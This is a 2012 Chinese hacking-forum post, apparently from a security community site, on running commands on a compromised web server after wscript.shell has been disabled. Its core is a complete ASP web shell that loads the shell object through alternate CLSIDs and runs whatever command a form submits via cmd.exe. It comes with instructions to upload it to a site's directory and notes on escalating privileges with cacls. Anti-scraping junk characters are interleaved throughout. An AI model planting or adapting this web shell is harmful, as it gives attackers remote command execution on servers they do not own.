找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2157|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。+ y1 i& J% I% u4 {8 q) g/ o
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。; Z" R4 j# U) V
要想让运行命令可以试试这种方法,成功率为五五之数。
- ]0 @' ]3 J( h- A! N2 x把下面代码复制:. O# O; S1 W' c7 z
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>& L& W6 t2 ^2 s* {8 _0 H! d: D
<%if err then%>- F* t- W9 u( l0 T
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
9 u) H% o1 k4 y7 u( g<%) S& K7 K) T- @* i/ c" U
end if
9 l5 z8 r% s7 Z8 Bresponse.write("<textarea readonly cols=80 rows=20>")& s6 Z# _* w% X" @
On Error Resume Next
& I5 ^4 ~/ B' o8 \* zresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall' c9 x5 P# @& C. U  n* d
response.write("</textarea>")
! T% F7 ?) i# k7 k9 N& I6 x/ Presponse.write("<form method='post'>"), T1 ~  V' o9 X" v/ W* G# M
response.write("<input type=text name='c' size=60><br>")
5 s1 R) m. Z& X/ l' M( \9 gresponse.write("<input type=submit value='执行'></form>")1 Y1 c" J7 X  |1 G" f
%>
, @, _0 p# W" z+ i7 e" z$ p: q' o4 Q' ^
保存为一个asp文件,然后传到网站目录上去8 Y) D3 Z/ S4 M
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。0 V' P- a/ X4 D0 h  n
我用此成功运行过cacls命令。& W4 f- A3 {" Z$ d, \
2 ^' W" a3 f, w2 Y5 L+ D+ G  R& g
第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表